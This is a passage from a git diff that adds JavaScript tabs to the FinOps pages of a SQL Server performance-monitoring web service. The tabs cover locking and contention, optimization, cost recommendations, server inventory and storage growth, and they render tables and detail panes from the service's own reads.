+          choice.names = (data.databases || []).map((d) => d.database_name).filter(Boolean);
+          box.setNames(choice.names);
+        }
+        const captured = capturedByName(data.databases || []);
+        const recs = (data.recommendations || []).map((r) => recommendationRow(r, captured));
+        const rollups = (data.overall ? [rollupRow({ ...data.overall, database_name: "ALL DATABASES" })] : [])
+          .concat((data.databases || []).map(rollupRow));
+        const lead = (data.uptime_warning ? 1 : 0) + (data.dedupe_only_applied ? 1 : 0);
+        const notes = data.notes || [];
+        const parts = [noticeStrip(noticeText(data, recs.length, choice.db))];
+        notes.slice(0, lead).forEach((t) => parts.push(noticeStrip(t)));
+        const more = notes.slice(lead);
+        if (more.length) {
+          parts.push(el("details", {}, [
+            el("summary", { text: "Analyzer notes (" + more.length + ")" }),
+            ...more.map((t) => el("p", { class: "finops-note", text: t })),
+          ]));
+        }
+        parts.push(el("h3", { text: "Reclaimable Space (overall + per database)" }));
+        parts.push(VIZ.table({ rows: rollups }, { rowsKey: "rows", columns: ROLLUP_COLUMNS, emptyText: "No index statistics collected yet." }));
+        parts.push(el("h3", { text: "Recommendations" }));
+        parts.push(VIZ.table({ rows: recs }, { rowsKey: "rows", columns: RECOMMENDATION_COLUMNS, emptyText: "No cleanup recommendations: indexes look clean." }));
+        mount(content, parts);
+      } catch (e) {
+        if (mine === generation && e?.name !== "AbortError") mount(content, errorStrip("Could not render this tab: " + (e && e.message ? e.message : String(e))));
+      }
+    }
+
+    function reread() {
+      mount(content, loadingStrip());
+      load();
+    }
+
+    fullBox.addEventListener("change", () => {
+      choice.full = fullBox.checked;
+      reread();
+    });
+    load();
+    return el("div", {}, [controls, content]);
+  },
+};
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/locking.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/locking.js
new file mode 100644
index 0000000000..19d665d210
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/locking.js
@@ -0,0 +1,212 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* FinOps "Locking & Contention" tab: the per-index lock and latch waits from get_object_locking (latest daily
+   snapshot, most contended first, up to 200 rows), with the lock-wait counts and reserved size the server
+   page's Object Contention table leaves out. A Database box (database-box.js) above the table narrows the read to one database:
+   it takes one name, sent exactly as typed except that a name matching a suggestion ignoring case goes in its stored spelling, and
+   empty means All databases. Its suggestions come from /api/server-databases, which stops at 5,000 names; when it cuts the list the
+   box asks the route again with the typed text, so a name past the cut can still be found. The choice is kept per server in module
+   state, so it survives the page's poll rebuilds, and a new choice remounts only the table below the box. The read's snapshot
+   time (captured_at) is not shown: a table panel has no slot for a top-level field.
+
+   #5311: a click (or Enter) on a row opens an index detail pane above the table. The four counters the list leaves out (row
+   lock count, page lock count, page latch wait count, page I/O latch wait count) are read on demand for that one index, named
+   exactly by database, schema, table and index name (the read's detail_* selector), so the list response does not grow. The pane
+   says "Loading..." while it waits and a plain sentence if the read fails or finds no such index; the newest click wins (an
+   older answer is dropped and its request aborted); Escape or the Close button closes it. Every value is drawn as text. */
+
+import { el, mount, readTool, fmtInt, makeActivatable } from "../../util.js";
+import { renderPanel } from "../../panels.js";
+import { PG_NOT_COLLECTED } from "./gate.js";
+import { databaseBox, newBoxChoice } from "./database-box.js";
+
+/* #5311: the four wait columns are shaded the desktop's way. The service bands each column over the rows it returns and
+   sends `heat: [row lock, page lock, page latch, page I/O latch]` (a band 0 to 7, or null for no shade); the browser only
+   turns the band it was given into the existing .heat-band-N class and computes nothing. */
+function heatClass(i) {
+  return (row) => (Array.isArray(row.heat) && Number.isInteger(row.heat[i]) ? "heat-band-" + row.heat[i] : null);
+}
+
+const LOCKING_COLUMNS = [
+  { key: "database_name", label: "Database" },
+  { key: "schema_name", label: "Schema" },
+  { key: "table_name", label: "Table" },
+  { key: "index_name", label: "Index" },
+  { key: "index_type", label: "Type" },
+  { key: "reserved_mb", label: "Reserved (MB)", format: "num1" },
+  { key: "total_rows", label: "Rows", format: "int" },
+  { key: "row_lock_wait_count", label: "Row lock waits", format: "int" },
+  { key: "row_lock_wait_ms", label: "Row lock wait", format: "ms", cellClass: heatClass(0) },
+  { key: "page_lock_wait_count", label: "Page lock waits", format: "int" },
+  { key: "page_lock_wait_ms", label: "Page lock wait", format: "ms", cellClass: heatClass(1) },
+  { key: "lock_escalations", label: "Escalations", format: "int" },
+  { key: "page_latch_wait_ms", label: "Page latch", format: "ms", cellClass: heatClass(2) },
+  { key: "page_io_latch_wait_ms", label: "Page IO latch", format: "ms", cellClass: heatClass(3) },
+];
+
+const DETAIL_COUNTERS = [
+  ["row_lock_count", "Row lock count"],
+  ["page_lock_count", "Page lock count"],
+  ["page_latch_wait_count", "Page latch wait count"],
+  ["page_io_latch_wait_count", "Page I/O latch wait count"],
+];
+
+/* The detail read's selector for a list row: each name its own parameter, a heap (no index name) sends none. */
+function detailParams(server, row) {
+  const params = {
+    server,
+    detail_database: row.database_name,
+    detail_schema: row.schema_name,
+    detail_table: row.table_name,
+  };
+  if (row.index_name != null && row.index_name !== "") params.detail_index = row.index_name;
+  return params;
+}
+
+// The latest choice per server: the Database box's fields (db, draft, caret, focused, names, ...).
+const choices = new Map();
+
+function choiceFor(server) {
+  let c = choices.get(server);
+  if (!c) {
+    c = newBoxChoice();
+    choices.set(server, c);
+  }
+  return c;
+}
+
+export const tab = {
+  id: "locking",
+  label: "Locking & Contention",
+  build(server, ctx) {
+    const choice = choiceFor(server);
+    const content = el("div", {});
+    const box = databaseBox(choice, { onCommit: () => show(), server });
+    const controls = el("div", { class: "sort-control" }, box.nodes);
+    const pane = el("div", { class: "locking-detail" });
+
+    /* The detail pane's state: which click is current (a stale answer is dropped), its request, and the Escape listener. */
+    let generation = 0;
+    let inflight = null;
+    let listening = false;
+    const onKey = (e) => {
+      if (e && e.key === "Escape") closeDetail();
+    };
+
+    /* Stops this build's pane: drops the pending answer, aborts its read, removes its Escape listener. */
+    function stopDetail() {
+      generation++;
+      if (inflight) inflight.abort();
+      inflight = null;
+      if (listening) {
+        document.removeEventListener("keydown", onKey);
+        listening = false;
+      }
+    }
+
+    function closeDetail() {
+      stopDetail();
+      choice.detailRow = null;
+      mount(pane, []);
+    }
+
+    /* The page poll rebuilds this whole tab (#5372) and aborts the render's signal: the old build is then a dead pane,
+       so its Escape listener and its detail read must not outlive it. The open row stays on the per-server choice
+       (detailRow) and the new build reopens it, so a poll does not close the pane the reader is looking at. */
+    if (ctx && ctx.signal && typeof ctx.signal.addEventListener === "function") {
+      ctx.signal.addEventListener("abort", stopDetail, { once: true });
+    }
+
+    function paneFrame(row, body) {
+      const name = [row.database_name, row.schema_name, row.table_name, row.index_name == null ? "(heap)" : row.index_name].join(".");
+      return [
+        el("div", { class: "locking-detail-head" }, [
+          el("strong", { text: "Index detail: " + name }),
+          el("button", { type: "button", class: "locking-detail-close", text: "Close", onClick: closeDetail }),
+        ]),
+        body,
+      ];
+    }
+
+    async function openDetail(row) {
+      const mine = ++generation;
+      choice.detailRow = row;
+      if (inflight) inflight.abort();
+      const controller = new AbortController();
+      inflight = controller;
+      if (!listening) {
+        document.addEventListener("keydown", onKey);
+        listening = true;
+      }
+      mount(pane, paneFrame(row, el("p", { class: "locking-detail-status", text: "Loading..." })));
+      let body;
+      try {
+        const res = await readTool("get_object_locking", detailParams(server, row), controller.signal);
+        if (mine !== generation) return;
+        if (res.kind === "aborted" || res.kind === "auth") return;
+        if (res.kind === "error") {
+          body = el("p", { class: "locking-detail-status", text: "The index detail could not be loaded." });
+        } else if (res.kind === "empty") {
+          body = el("p", { class: "locking-detail-status", text: res.message || "No such index in the latest snapshot." });
+        } else {
+          const detail = (res.data && res.data.detail) || {};
+          body = el("dl", { class: "locking-detail-counters" }, DETAIL_COUNTERS.flatMap(([key, label]) => [
+            el("dt", { text: label }),
+            el("dd", { text: fmtInt(detail[key]) }),
+          ]));
+        }
+      } catch {
+        if (mine !== generation) return;
+        body = el("p", { class: "locking-detail-status", text: "The index detail could not be loaded." });
+      }
+      mount(pane, paneFrame(row, body));
+    }
+
+    function show() {
+      closeDetail();
+      const params = { server, limit: 200 };
+      if (choice.db) params.database_name = choice.db;
+      mount(content, [
+        renderPanel({
+          title: "Locking & Contention",
+          subtitle: choice.db ? "daily collection, database " + choice.db : "daily collection",
+          read: "get_object_locking",
+          params,
+          notCollectedLine: ctx && ctx.postgres ? PG_NOT_COLLECTED : null,
+          viz: "table",
+          rowsKey: "objects",
+          columns: LOCKING_COLUMNS,
+          emptyText: choice.db
+            ? "No lock-wait rows recorded for this database. Index and object stats are collected daily."
+            : "No lock-wait rows recorded. Index and object stats are collected daily.",
+          noteKey: "optimized_locking_note",
+          /* `note` is the read's truncation sentence ("TRUNCATED: more than N indexes ...") when the 200-row cap
+             cuts the list, and a "Complete: ..." sentence otherwise, so a capped page never looks like the whole. */
+          moreNoteKeys: ["note", "separately_monitored_note"],
+          span: 2,
+          onRow: (row, tr) => {
+            if (!row || !row.table_name) return;
+            tr.style.cursor = "pointer";
+            tr.setAttribute("title", "Show this index's lock and latch counters");
+            makeActivatable(tr, (e) => {
+              // A click that ends a text selection inside the row is the reader copying, not picking.
+              if (e && e.type === "click" && typeof getSelection === "function" && String(getSelection())) return;
+              openDetail(row);
+            });
+          },
+        }),
+      ]);
+    }
+
+    const reopen = choice.detailRow;
+    show();
+    if (reopen) openDetail(reopen);
+    return el("div", {}, [controls, pane, content]);
+  },
+};
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/optimization.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/optimization.js
new file mode 100644
index 0000000000..9d2eb8d3af
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/optimization.js
@@ -0,0 +1,160 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* FinOps "Optimization" tab: idle databases, tempdb pressure, wait time by category, the most expensive statements by CPU
+   and daily memory-grant efficiency, from one get_finops read (view optimization). The picker moves the wait categories, the expensive statements and the cost
+   share; the other sections keep their own fixed windows. Each section reads its own status:
+   ok shows its table, empty shows an empty strip, not_collected shows the section's message. */
+
+import { VIZ } from "../../panels.js";
+import { planColumn } from "../plan-viewer.js";
+import { el, mount, loadingStrip, emptyStrip, noticeStrip, readErrorStrip, errorStrip, readTool, applyFormat } from "../../util.js";
+import { gatedEmptyStrip, gatedSections } from "./gate.js";
+import { finopsWindowControl } from "./window.js";
+
+// The default window.
+const HOURS = 24;
+
+// ONE picker moves both the Wait Stats and Expensive Queries windows (the desktop has one for each); the other sections stay fixed.
+
+// The chosen window per server, kept here so the 60 s rebuild of the tab does not put it back to 24 hours.
+const chosenHours = new Map();
+
+const LIMIT = 20;
+
+const IDLE_COLUMNS = [
+  { key: "database_name", label: "Database" },
+  { key: "total_size_mb", label: "Total size (MB)", format: "num2" },
+  { key: "file_count", label: "Files", format: "int" },
+  { key: "last_execution_server_local", label: "Last execution (server time)" },
+];
+
+const TEMPDB_COLUMNS = [
+  { key: "metric", label: "Metric" },
+  { key: "current_mb", label: "Current (MB)", format: "num2" },
+  { key: "peak_24h_mb", label: "Peak 24h (MB)", format: "num2" },
+  { key: "warning", label: "Warning" },
+];
+
+const WAIT_COLUMNS = [
+  { key: "category", label: "Category" },
+  { key: "total_wait_time_ms", label: "Total wait (ms)", format: "int" },
+  { key: "waiting_tasks", label: "Waiting tasks", format: "int" },
+  { key: "pct_of_total", label: "% of total", format: "num1" },
+  { key: "top_wait_type", label: "Top wait type" },
+  { key: "top_wait_time_ms", label: "Top wait (ms)", format: "int" },
+  { key: "est_cost_usd", label: "Est. cost share ($)", format: "num2" },
+];
+
+const QUERY_COLUMNS = [
+  { key: "database_name", label: "Database" },
+  { key: "query_preview", label: "Query preview", valueList: false },
+  { key: "total_cpu_ms", label: "Total CPU", format: "ms" },
+  { key: "avg_cpu_ms_per_exec", label: "Avg CPU/exec (ms)", format: "num2" },
+  { key: "total_reads", label: "Total reads", format: "int" },
+  { key: "avg_reads_per_exec", label: "Avg reads/exec", format: "int" },
+  { key: "executions", label: "Executions", format: "int" },
+  { key: "has_plan", label: "Has plan", format: "bool" },
+  { key: "est_cost_usd", label: "Est. cost share ($)", format: "num2" },
+];
+
+const GRANT_COLUMNS = [
+  { key: "day", label: "Day (UTC)" },
+  { key: "avg_granted_mb", label: "Avg granted (MB)", format: "num1" },
+  { key: "avg_used_mb", label: "Avg used (MB)", format: "num1" },
+  { key: "efficiency_pct", label: "Efficiency (%)", format: "num1" },
+  { key: "peak_granted_mb", label: "Peak granted (MB)", format: "num1" },
+  { key: "wasted_mb", label: "Wasted (MB)", format: "num1" },
+  { key: "total_grantees", label: "Grantees", format: "int" },
+  { key: "total_waiters", label: "Waiters", format: "int" },
+  { key: "timeout_errors", label: "Timeouts", format: "int" },
+  { key: "forced_grants", label: "Forced", format: "int" },
+];
+
+function idleNotice(s) {
+  const n = (s.rows || []).length;
+  let text = (n === 1 ? "1 idle database" : n + " idle databases") + " over the last " + (s.window_days ?? "?") + " days";
+  text += s.truncated ? "; the top " + n + " of " + (s.database_count ?? "more") + "." : ".";
+  return text;
+}
+
+function windowNotice(s) {
+  return "last " + (s.window_hours ?? HOURS) + " hours";
+}
+
+function queryNotice(s) {
+  const hours = s.window_hours ?? HOURS;
+  const start = s.effective_start ? Date.parse(s.effective_start) : NaN;
+  // The service cuts this section to the window query text is kept for, so a start later than the asked window began
+  // means the window was shortened: say what is shown, with the length taken from the start.
+  if (Number.isFinite(start) && start > Date.now() - hours * 3600000 + 60000) {
+    const days = Math.max(1, Math.round((Date.now() - start) / 86400000));
+    return "Top " + (s.rows || []).length + " by CPU, showing the last " + days + " days; query text and plans are not retained beyond that.";
+  }
+  let text = "Top " + (s.rows || []).length + " by CPU, last " + hours + " hours";
+  if (s.effective_start) text += ", from " + applyFormat("time", s.effective_start) + " (local time)";
+  return text + ".";
+}
+
+function costLine(data) {
+  const hours = data.hours_back ?? HOURS;
+  return data.monthly_cost_usd != null
+    ? "Est. cost shares split the server's $" + applyFormat("num2", data.monthly_cost_usd) + " monthly cost pro-rated to this window (" + hours + " hours); they are an attribution, not a measured cost."
+    : (data.cost_reason ?? "monthly cost not set") + ", so Est. cost share is blank.";
+}
+
+// One section: a heading, then the table, the empty strip or the notice, by the section's own status.
+function sectionView(title, s, columns, emptyText, notice) {
+  const section = s || {};
+  let content;
+  if (section.status === "ok") {
+    content = [noticeStrip(notice(section)), VIZ.table(section, { rowsKey: "rows", columns, emptyText })];
+  } else if (section.status === "empty") {
+    content = [emptyStrip(emptyText)];
+  } else {
+    content = [noticeStrip(section.message ?? "This section was not collected.")];
+  }
+  return el("div", { class: "finops-section" }, [el("h3", { text: title }), ...content]);
+}
+
+export const tab = {
+  id: "optimization",
+  label: "Optimization",
+  build(server, ctx) {
+    const body = el("div", {}, [loadingStrip()]);
+    let seq = 0;
+    const load = async (hours) => {
+      const mine = ++seq;
+      chosenHours.set(server, hours);
+      mount(body, loadingStrip());
+      try {
+        const res = await readTool("get_finops", { server, view: "optimization", hours, limit: LIMIT }, ctx && ctx.signal);
+        if (mine !== seq) return;
+        if (res.kind === "aborted" || res.kind === "auth") return;
+        if (res.kind === "error") return mount(body, readErrorStrip(res.message));
+        if (res.kind === "empty") return mount(body, gatedEmptyStrip(res, ctx));
+        const data = gatedSections(res.data || {}, ctx);
+        mount(body, [
+          noticeStrip(costLine(data)),
+          sectionView("Idle Databases", data.idle_databases, IDLE_COLUMNS, "No idle databases detected", idleNotice),
+          sectionView("tempdb Pressure", data.tempdb_pressure, TEMPDB_COLUMNS, "No tempdb data available", windowNotice),
+          sectionView("Wait Stats Summary", data.wait_categories, WAIT_COLUMNS, "No wait stats data available", windowNotice),
+          sectionView("Expensive Queries (Top " + LIMIT + " by CPU)", data.expensive_queries, [...QUERY_COLUMNS, planColumn(server)], "No expensive queries found", queryNotice),
+          sectionView("Memory Grant Efficiency", data.memory_grant_efficiency, GRANT_COLUMNS, "No memory grant data available", windowNotice),
+        ]);
+      } catch (e) {
+        if (mine === seq && e?.name !== "AbortError") mount(body, errorStrip("Could not render this tab: " + (e && e.message ? e.message : String(e))));
+      }
+    };
+    const start = chosenHours.get(server) ?? HOURS;
+    const win = finopsWindowControl({ hours: start, onChange: (hours) => load(hours) });
+    const root = el("div", {}, [win.node, body]);
+    load(start);
+    return root;
+  },
+};
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/recommendations.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/recommendations.js
new file mode 100644
index 0000000000..c7655f3c6e
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/recommendations.js
@@ -0,0 +1,66 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* FinOps "Recommendations" tab: the cost-saving recommendations from get_finops_recommendations, in the order the
+   read returns them (High severity first), with the desktop's six columns. Differences from the desktop: no filter
+   buttons, no tooltips, no click-to-sort and no Refresh button (the page polls), a missing saving shows as an
+   em dash, and the finding and detail text comes from the service in invariant format (a percent reads "20 %"). */
+
+import { VIZ } from "../../panels.js";
+import { el, mount, loadingStrip, noticeStrip, readErrorStrip, errorStrip, readTool } from "../../util.js";
+import { gatedEmptyStrip } from "./gate.js";
+
+const SEV = { High: "Critical", Medium: "Warning", Low: "Healthy" };
+
+const COLUMNS = [
+  { key: "category", label: "Category" },
+  { key: "severity", label: "Severity", sevKey: "severity_sev" },
+  { key: "confidence", label: "Confidence" },
+  { key: "finding", label: "Finding", wrap: true },
+  { key: "detail", label: "Detail", wrap: true },
+  { key: "est_savings_usd_month", label: "Est. Savings ($/mo)", format: "int", nullKey: "est_savings_note" },
+];
+
+function noticeText(n) {
+  if (n === 0) return "No recommendations.";
+  return n + (n === 1 ? " recommendation" : " recommendations") + ", High severity first.";
+}
+
+function displayRow(r) {
+  /* An empty estimate reads as a dash with the setting that fills it (the same words as the desktop viewer's tooltip). */
+  return { ...r, severity_sev: SEV[r.severity] ?? null, est_savings_note: r.est_savings_usd_month == null ? "No estimate: set this server's Monthly Cost ($) in Admin > Servers." : null };
+}
+
+export const tab = {
+  id: "recommendations",
+  label: "Recommendations",
+  build(server, ctx) {
+    const body = el("div", {}, [loadingStrip()]);
+    (async () => {
+      try {
+        const res = await readTool("get_finops_recommendations", { server }, ctx && ctx.signal);
+        if (res.kind === "aborted" || res.kind === "auth") return;
+        if (res.kind === "error") return mount(body, readErrorStrip(res.message));
+        if (res.kind === "empty") return mount(body, gatedEmptyStrip(res, ctx));
+        const data = res.data || {};
+        const rows = (data.recommendations || []).map(displayRow);
+        const skipped = data.skipped_checks || [];
+        const parts = [noticeStrip(noticeText(rows.length))];
+        if (data.monthly_cost_usd == null) parts.push(noticeStrip("Monthly cost not set for this server, so savings estimates are blank."));
+        /* Databases this server holds only as an availability group secondary copy are left to the primary's findings (#5558). */
+        if (data.secondary_replica_note) parts.push(noticeStrip(data.secondary_replica_note));
+        if (skipped.length) parts.push(noticeStrip("Some checks could not run, so their findings are missing (not clean): " + skipped.join(", ") + "."));
+        parts.push(VIZ.table({ rows }, { rowsKey: "rows", columns: COLUMNS, emptyText: "No recommendations: nothing needs attention, or not enough has been collected yet." }));
+        mount(body, parts);
+      } catch (e) {
+        if (e?.name !== "AbortError") mount(body, errorStrip("Could not render this tab: " + (e && e.message ? e.message : String(e))));
+      }
+    })();
+    return body;
+  },
+};
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/server-inventory.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/server-inventory.js
new file mode 100644
index 0000000000..d80641d0e3
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/server-inventory.js
@@ -0,0 +1,117 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* FinOps "Server Inventory" tab: one row per configured server from get_finops_inventory (view server_inventory).
+   A server removed from the configuration is not listed, and is not in the count, unless "Show removed servers" is
+   ticked (off by default; the choice survives the tab's periodic rebuild).
+   The view is fleet-wide: the page's server choice is shown but not used. Uptime is not shown: the start time is
+   each server's own clock, and the browser's clock cannot be subtracted from it. */
+
+import { VIZ } from "../../panels.js";
+import { el, mount, loadingStrip, emptyStrip, noticeStrip, readErrorStrip, errorStrip, readTool } from "../../util.js";
+
+const LIMIT = 200;
+// The "Show removed servers" choice, kept here so the tab's periodic rebuild does not untick it.
+let showRemoved = false;
+const BAND_SEV = { good: "Healthy", fair: "Warning", poor: "Critical" };
+const PROVISIONING = {
+  RIGHT_SIZED: ["RIGHT SIZED", "Healthy"],
+  OVER_PROVISIONED: ["OVER PROVISIONED", "Warning"],
+  UNDER_PROVISIONED: ["UNDER PROVISIONED", "Critical"],
+  NOT_APPLICABLE: ["N/A", null],
+};
+
+const COLUMNS = [
+  { key: "server", label: "Server" },
+  { key: "edition", label: "Edition" },
+  { key: "product_version", label: "Version" },
+  { key: "host_os_version", label: "Host OS" },
+  { key: "cpu_count", label: "Logical CPUs", format: "int" },
+  { key: "physical_memory_mb", label: "Memory MB", format: "int" },
+  { key: "socket_count", label: "Sockets", format: "int" },
+  { key: "cores_per_socket", label: "Cores/Socket", format: "int" },
+  { key: "hardware_note", label: "Hardware note", wrap: true },
+  { key: "provisioning_status", label: "Status", sevKey: "provisioning_sev" },
+  { key: "avg_cpu_pct", label: "Avg CPU %", format: "num1" },
+  { key: "storage_total_gb", label: "Storage GB", format: "num1" },
+  { key: "idle_db_count", label: "Idle DBs", format: "int" },
+  { key: "sqlserver_start_time_local", label: "Start time (server clock)" },
+  { key: "inventory_as_of", label: "Inventory as of", format: "time" },
+  { key: "last_collected", label: "Last collected", format: "time" },
+  { key: "monitoring", label: "Monitoring" },
+  { key: "monthly_cost_usd", label: "Monthly ($)", format: "int" },
+  { key: "annual_cost_usd", label: "Annual ($)", format: "int" },
+  { key: "health_score", label: "Health", format: "int", sevKey: "health_sev" },
+  { key: "health_band", label: "Band", sevKey: "health_sev" },
+  { key: "license_warning", label: "License warning", wrap: true, sevKey: "license_sev" },
+  { key: "is_hadr_enabled", label: "HADR", format: "bool" },
+  { key: "ag_replica_role", label: "AG role" },
+  { key: "is_clustered", label: "Clustered", format: "bool" },
+];
+
+// The row as shown: a hardware-note code becomes the legend's text, the verdict token becomes its label, and the
+// severity names come from the payload's own band and verdict. A key the read omitted stays missing and shows "—".
+function displayRow(r, legend) {
+  return {
+    ...r,
+    hardware_note: r.hardware_note == null ? null : (legend[r.hardware_note] ?? r.hardware_note),
+    provisioning_status: r.provisioning_status == null ? null : (PROVISIONING[r.provisioning_status]?.[0] ?? r.provisioning_status.replace(/_/g, " ")),
+    provisioning_sev: PROVISIONING[r.provisioning_status]?.[1] ?? null,
+    health_sev: BAND_SEV[r.health_band] ?? null,
+    license_sev: r.license_warning ? "Critical" : null,
+    sqlserver_start_time_local: r.sqlserver_start_time_local ? r.sqlserver_start_time_local.slice(0, 16).replace("T", " ") : null,
+    monitoring: r.monitoring === "active" ? "Active" : r.monitoring === "stopped" ? "Stopped" : r.monitoring ?? null,
+    ag_replica_role: String(r.ag_replica_role ?? "").toLowerCase() === "standalone" ? null : r.ag_replica_role ?? null,
+  };
+}
+
+function noticeText(data, n) {
+  return n + (n === 1 ? " server" : " servers") + (showRemoved ? " (removed servers included)" : "")
+    + (data.truncated ? " (the first " + n + " of " + data.total_servers + ")" : "")
+    + ". Fleet-wide: the server picked above does not filter this list. CPU over the last " + (data.cpu_window_hours ?? 24)
+    + " hours, idle databases over the last " + (data.idle_window_days ?? 7)
+    + " days. Times are local except Start time, which is each server's own clock.";
+}
+
+export const tab = {
+  id: "server-inventory",
+  label: "Server Inventory",
+  build(server, ctx) {
+    const body = el("div", {}, [loadingStrip()]);
+    let seq = 0;
+    const load = async () => {
+      const mine = ++seq;
+      mount(body, loadingStrip());
+      try {
+        const res = await readTool("get_finops_inventory", { view: "server_inventory", limit: LIMIT, include_removed: showRemoved ? "true" : null }, ctx && ctx.signal);
+        if (mine !== seq) return;
+        if (res.kind === "aborted" || res.kind === "auth") return;
+        if (res.kind === "error") return mount(body, readErrorStrip(res.message));
+        if (res.kind === "empty") return mount(body, emptyStrip(res.message));
+        const data = res.data || {};
+        const legend = data.hardware_note_legend || {};
+        const rows = (data.servers || []).map((r) => displayRow(r, legend));
+        mount(body, [
+          noticeStrip(noticeText(data, rows.length)),
+          VIZ.table({ servers: rows }, { rowsKey: "servers", columns: COLUMNS, emptyText: "No server property data collected yet." }),
+        ]);
+      } catch (e) {
+        if (mine === seq && e?.name !== "AbortError") mount(body, errorStrip("Could not render this tab: " + (e && e.message ? e.message : String(e))));
+      }
+    };
+    const box = el("input", { type: "checkbox", "aria-label": "Show removed servers" });
+    box.checked = showRemoved;
+    box.addEventListener("change", () => {
+      showRemoved = box.checked;
+      load();
+    });
+    const root = el("div", {}, [el("label", { class: "range-control" }, [box, el("span", { text: "Show removed servers" })]), body]);
+    load();
+    return root;
+  },
+};
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/storage-growth.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/storage-growth.js
new file mode 100644
index 0000000000..175285a9b7
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/storage-growth.js
@@ -0,0 +1,274 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* FinOps "Storage Growth" tab, from get_finops (view storage_growth). Three levels held as state in the tab: databases
+   (the default), objects (a click on a database: its fastest-growing tables with a size heatmap over the 7, 30 or 90 day window) and indexes (a
+   click on a table: its indexes and their usage). Back returns one level; the breadcrumb names the path. Nothing goes
+   in the URL. The heatmap is a matrix table; each cell's shade class comes from the service's band and the browser
+   computes nothing. */
+
+import { VIZ } from "../../panels.js";
+import { el, mount, loadingStrip, emptyStrip, noticeStrip, readErrorStrip, errorStrip, readTool, applyFormat, relTime, localTime } from "../../util.js";
+import { gatedEmptyStrip, gatedSections } from "./gate.js";
+import { finopsWindowControl } from "./window.js";
+
+const HOURS = 24;
+const OBJECT_LIMIT = 20;
+// The most databases the databases level lists (#5238). The desktop grid shows every database, so the tab asks for the ceiling, as the
+// Database Sizes tab asks for its 500 files; the service's own default is the top 50 by 30-day growth.
+const DATABASE_LIMIT = 500;
+
+// The objects window, in whole days (the heatmap has one column per day). The service reads it as hours_back (days * 24) and takes up to
+// 2160 hours for this view (DarlingMcpFinOpsTools.MaxStorageGrowthHoursBack), though the get_finops catalog entry says 168 for its
+// other views. The catalog serves this view's own reach as `view_max_hours.storage_growth` (WebReadReach.ViewMaxHours, #5562 L4b), the
+// number the server validates, and the picker reads it from there. 30 days is the default.
+const DAY_MS = 86400000;
+const DEFAULT_DAYS = 30;
+
+// The drill per server: { level, database, object, days }. It lives at module scope because the page's 60 s poll calls build()
+// again and a build-local state would drop the reader back to Databases mid-drill.
+const drills = new Map();
+
+function drillFor(server) {
+  let d = drills.get(server);
+  if (!d) {
+    d = { level: "databases", database: null, object: null, days: DEFAULT_DAYS };
+    drills.set(server, d);
+  }
+  return d;
+}
+
+// The service refuses an object that is no longer among the top objects with this wording.
+const OBJECT_GONE = "is not among the";
+
+// The desktop's yyyy-MM-dd HH:mm: slicing the server-local string, not a clock conversion.
+function accessText(v) {
+  return v == null ? v : String(v).slice(0, 16).replace("T", " ");
+}
+
+const DATABASE_COLUMNS = [
+  { key: "database_name", label: "Database" },
+  { key: "current_size_mb", label: "Current (MB)", format: "num2" },
+  { key: "size_7d_ago_mb", label: "7 days ago (MB)", format: "num2", nullKey: "size_7d_ago_note" },
+  { key: "size_30d_ago_mb", label: "30 days ago (MB)", format: "num2", nullKey: "size_30d_ago_note" },
+  { key: "growth_7d_mb", label: "Growth 7 days (MB)", format: "num2" },
+  { key: "growth_30d_mb", label: "Growth 30 days (MB)", format: "num2" },
+  { key: "daily_growth_rate_mb", label: "Daily rate (MB)", format: "num2" },
+  { key: "growth_pct_30d", label: "Growth % 30 days", format: "num1" },
+  { key: "note", label: "Note", hideWhenEmpty: true, wrap: true },
+];
+
+const OBJECT_COLUMNS = [
+  { key: "schema_name", label: "Schema" },
+  { key: "table_name", label: "Table" },
+  { key: "reserved_mb", label: "Reserved (MB)", format: "num1" },
+  { key: "used_mb", label: "Used (MB)", format: "num1" },
+  { key: "total_rows", label: "Rows", format: "int" },
+  { key: "index_count", label: "Indexes", format: "int" },
+  { key: "growth_mb", label: "Growth (MB)", format: "num1" },
+  { key: "growth_pct", label: "Growth %", format: "num1" },
+  { key: "daily_growth_rate_mb", label: "Daily rate (MB)", format: "num2" },
+];
+
+const INDEX_COLUMNS = [
+  { key: "index_name", label: "Index" },
+  { key: "classification", label: "Status" },
+  { key: "index_type_desc", label: "Type" },
+  { key: "reserved_mb", label: "Reserved (MB)", format: "num1" },
+  { key: "total_rows", label: "Rows", format: "int" },
